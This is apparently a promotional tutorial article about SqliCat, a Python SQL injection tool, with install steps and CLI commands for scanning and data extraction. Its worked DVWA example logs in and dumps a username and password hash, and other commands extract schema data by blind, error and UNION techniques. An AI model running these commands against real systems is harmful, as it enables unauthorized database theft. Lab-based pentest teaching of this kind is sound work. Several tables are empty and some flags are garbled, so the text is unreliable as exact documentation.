SqliCat: The Pure-Python SQL Injection Framework Redefining Automated Pentesting + Video

Introduction

SQL injection remains the most prevalent and dangerous web application vulnerability, consistently ranking in the OWASP Top 10. While numerous tools exist for detecting and exploiting SQLi vulnerabilities, most rely on heavy third-party dependencies, complex setups, and opaque architectures. Enter SqliCat — a revolutionary pure-Python SQL injection framework that combines zero external dependencies with enterprise-grade attack automation, intelligence integration, and 100% test coverage.

Learning Objectives

Master the deployment and usage of a pure-stdlib SQL injection framework for authorized penetration testing
Understand the architecture and implementation of automated session handling, payload generation, and data exfiltration techniques
Learn to integrate vulnerability intelligence from ExploitDB, NVD, and CIRCL into a unified workflow
Develop proficiency in boolean-blind, time-blind, error-based, and UNION-based extraction methodologies

You Should Know

1. Understanding SqliCat’s Architecture and Core Philosophy

SqliCat is a command-line framework for SQL injection research and testing, written entirely in standard Python — no requests, no beautifulsoup, no external runtime dependencies. This architectural choice is deliberate: by relying solely on the Python standard library (urllib, http.cookiejar, html.parser, and subprocess), SqliCat ensures maximum portability, minimal attack surface, and complete transparency.

The framework covers four distinct fronts:

Payload Generation — An arsenal of 11 payloads covering UNION, boolean-blind, time-blind, error-based, stacked queries, out-of-band, WAF bypass, and second-order injection
Attack Execution — Sends payloads to live HTTP targets, detects vulnerability signals (error signatures, boolean differences, latency), and exfiltrates data byte-by-byte
Session Automation — Authenticates autonomously through HTML forms (extracts CSRF tokens, performs login, maintains cookies) without manual browser intervention
Vulnerability Intelligence — Queries ExploitDB (via searchsploit), NVD/NIST (API 2.0), and CIRCL to cross-reference findings with CVEs and public exploits

The architecture follows SOLID principles with a clean dependency direction: the domain layer contains immutable value objects and contracts (ports), while infrastructure provides concrete adapters. This design enables offline testing with fakes and keeps session, cookie, and login logic isolated from domain logic.

Installation (Python 3.10+ required):

 Clone and install
git clone https://github.com/atoussec-ctrl/sqlicat
cd sqlicat
pip install -e .

For development (includes pytest and pytest-cov)
pip install -e '.[bash]'

Windows/WSL Note: If using Python within WSL, install and run everything there — the `venv` created inside WSL is not usable from native PowerShell.

source venv/bin/activate
sqlicat list

2. The 11-Payload Arsenal: From Detection to Exfiltration

SqliCat’s payload arsenal is comprehensive, covering multiple DBMS platforms and injection techniques:

||–|–||

Each payload is an independent `PayloadBuilder` class — adding a new payload means creating a new class and registering it in DEFAULT_BUILDERS; no existing code needs to change (Open/Closed Principle).

Listing available payloads:

sqlicat list  Summary table
sqlicat list --verbose  + raw SQL and description
sqlicat list --json  Full JSON output

Generating a specific payload:

sqlicat payload union-data
sqlicat payload boolean-binary-search --json

Automated Session Handling: Login, Cookies, and Extra Parameters

Real-world targets are rarely anonymous isolated forms — they have login pages, CSRF tokens, configuration cookies, and submit button requirements. SqliCat handles all of this autonomously.

How it works:

– `HttpRequester` maintains a real cookie jar (http.cookiejar) behind each instance. Any `Set-Cookie` received — from login or any other response — is automatically resent in subsequent calls
– `–login-url` + `–login-user` + `–login-pass` trigger a complete handshake: `GET` on the login page (extracting hidden fields like CSRF tokens via pure html.parser), then `POST` of credentials merged with discovered hidden fields
– `–cookie` sets fixed cookies that don’t come from the login form
– `–extra-param` includes a fixed parameter in every request alongside the injectable parameter — essential when the target only executes the query in the presence of a companion field (e.g., the submit button name)

Complete example against a local DVWA instance (from zero to attack, no browser interaction):

 DVWA setup
docker run --rm -d -p 8081:80 vulnerables/web-dvwa

Scan phase
sqlicat scan http://localhost:8081/vulnerabilities/sqli/ \
--param id \
--extra-param Submit=Submit \
--cookie security=low \
--login-url http://localhost:8081/login.php \
--login-user admin --login-pass password \
--login-extra Login=Login

Attack phase - UNION-based extraction
sqlicat attack http://localhost:8081/vulnerabilities/sqli/ \
--param id \
--extra-param Submit=Submit \
--cookie security=low \
--login-url http://localhost:8081/login.php \
--login-user admin --login-pass password \
--login-extra Login=Login \
--technique union \
--expr "(SELECT user FROM users LIMIT 1),(SELECT password FROM users LIMIT 1)" \
--columns 2
 -> ["admin", "5f4dcc3b5aa765d61d8327deb882cf99"]

Common flags for `scan` and `attack`:

| Flag | Default | Description |

|||-|

4. Scanning and Detection: Three Independent Signals

The `scan` command tests all payloads (or a specific one) against the target and reports which ones triggered any vulnerability signal.

Detection combines three independent signals:

– `ErrorSignatureDetector` — Identifies database error messages in responses
– `BooleanDetector` — Detects differences in response content between true and false conditions
– `TimeBasedDetector` — Measures latency differences for time-based injection

Any signal that fires marks the payload as !! VULNERABLE, with evidence printed below the line.

Scan command examples:

 Test all 11 payloads
sqlicat scan http://localhost:8080/item.php --param id

Test a specific payload with custom threshold
sqlicat scan http://localhost:8080/item.php --param id \
--payload error-extractvalue --threshold 3.0

5. Attack Modes: Four Data Exfiltration Techniques

The `attack` command exfiltrates actual data using one of four extraction techniques:

Boolean-blind — Binary search by ASCII, position by position:

sqlicat attack http://x/item.php --param id --technique boolean \
--column table_name --schema "DATABASE()"

Time-blind — When there’s no visible difference in response, only latency (slower: one request per candidate tested):

sqlicat attack http://x/item.php --param id --technique time \
--delay 3 --threshold 2.0 --length 20

Error-based — Abuses ExtractValue/XPATH from MySQL to leak data directly in error messages:

sqlicat attack http://x/item.php --param id --technique error \
--expr "SELECT GROUP_CONCAT(table_name) FROM information_schema.tables"

Union-based — Arbitrary expressions in chosen columns via UNION:

sqlicat attack http://x/item.php --param id --technique union \
--expr "DATABASE(),VERSION()" --columns 4

Attack flags:

||||-|

Important: Loose column names in `–expr` (e.g., user,password) don’t work without a `FROM` clause — MySQL doesn’t know which table to pull them from within a `UNION` branch. Wrap in a subquery: (SELECT column FROM table LIMIT 1).

6. Vulnerability Intelligence: ExploitDB, NVD, and CIRCL Integration

SqliCat goes beyond exploitation by integrating with public vulnerability databases, enabling context-aware pentesting.

ExploitDB via `searchsploit` (requires the binary installed):

 Install on Kali
apt install exploitdb

Query examples
sqlicat exploitdb "WordPress sql injection"
sqlicat exploitdb --cve CVE-2021-41773
sqlicat exploitdb "apache" --binary /opt/exploitdb/searchsploit

CVE查询 via NVD API 2.0 with automatic fallback to CIRCL:

 Single CVE
sqlicat cve --id CVE-2021-44228

Recent SQLi CVEs
sqlicat cve --limit 20

With API key (higher rate limits)
NVD_API_KEY=xxx sqlicat cve --id CVE-2021-44228 --1vd-key "$NVD_API_KEY"

Rate limits: Without an API key, NVD limits to ~5 requests/30s; with a key, ~50 requests/30s. Generate a free key at nvd.nist.gov.

Integration sources:

NVD API 2.0: `https://services.nvd.nist.gov/rest/json/cves/2.0`
– CIRCL: `https://cve.circl.lu/api` (no authentication; used as fallback)
ExploitDB / searchsploit: `https://www.exploit-db.com/searchsploit`

7. Quality Assurance: 179 Tests and 100% Coverage

SqliCat is built with strict Test-Driven Development (TDD) — every behavior change starts with a failing test, then minimal implementation, then refactoring.

Test suite: 179 tests, 100% coverage (--cov-fail-under=99 configured in pyproject.toml), organized as a pyramid:

| Layer | Files | What |

|-|-||

| unit (base) | tests/domain/, tests/payloads/, tests/detection/, tests/attacks/, tests/infrastructure/, test_cli.py, `test_package.py` | One class/function at a time, dependencies replaced (fakes/mocks) |
| integration | `tests/integration/test_pipeline.py` | Real components composed together — real `HttpRequester` + real detectors/extractors; session/cookie/login tested against real local HTTP servers in loopback |
| e2e (top) | `tests/e2e/test_cli_e2e.py` | `python -m sqlicat.cli` via real subprocess, package installed end-to-end |

Running tests:

python -m pytest -v  Full suite
python -m pytest -m unit  Unit only
python -m pytest -m integration  Integration only
python -m pytest -m e2e  E2E only

All tests are deterministic and offline — integration/session tests spin up a real `http.server.ThreadingHTTPServer` on `127.0.0.1` with an ephemeral port, making no external network calls.

What Undercode Say

Zero-dependency design is a security feature: By relying exclusively on the Python standard library, SqliCat eliminates supply chain risks, reduces the attack surface, and ensures the tool remains functional in air-gapped environments. This is a stark contrast to tools like `sqlmap` that pull in dozens of third-party packages.
Automated session handling bridges the gap between theory and practice: Most SQL injection tutorials stop at a single vulnerable parameter. SqliCat’s ability to handle login flows, CSRF tokens, cookies, and companion parameters automatically makes it practical for real-world pentesting engagements where targets are rarely single-page applications.
Intelligence integration transforms a tool into a platform: The ability to cross-reference findings with ExploitDB, NVD, and CIRCL means pentesters can immediately contextualize vulnerabilities with known CVEs and public exploits — accelerating the remediation workflow and prioritizing critical findings.
179 tests with 100% coverage is unprecedented in the security tooling space: Most penetration testing tools are developed with a “move fast and break things” mentality. SqliCat’s rigorous TDD approach and clean architecture demonstrate that security tools can and should be held to the same quality standards as production software.
The framework is a learning resource as much as a tool: The clean separation of concerns, adherence to SOLID principles, and comprehensive test suite make SqliCat an educational resource for developers wanting to understand SQL injection mechanics, payload construction, and HTTP session management at a fundamental level.

Prediction

+1 SqliCat’s pure-stdlib approach will inspire a new generation of security tools that prioritize minimal dependencies and maximal transparency, reducing the industry’s reliance on bloated, opaque frameworks.
+1 The integration of vulnerability intelligence directly into the exploitation workflow will become a standard feature in next-generation pentesting platforms, enabling automated prioritization and contextual reporting.
-1 As SqliCat gains popularity, malicious actors will inevitably adapt the tool for unauthorized attacks, despite the explicit warnings and legal disclaimers — underscoring the eternal tension between security research and offensive misuse.
+1 The framework’s educational value — 11 distinct payload types, four extraction techniques, and clean architecture — will make it a staple in cybersecurity training programs, alongside DVWA, WebGoat, and OWASP Juice Shop.
-1 Organizations that fail to implement proper input validation, parameterized queries, and WAF protections will face increased risk as automated tools like SqliCat lower the barrier to entry for SQL injection exploitation.

▶️ Related Video (90% Match):

https://www.youtube.com/watch?v=15yaX1-OJAQ

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: Rodolfo Rodrigues – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Listen to this Post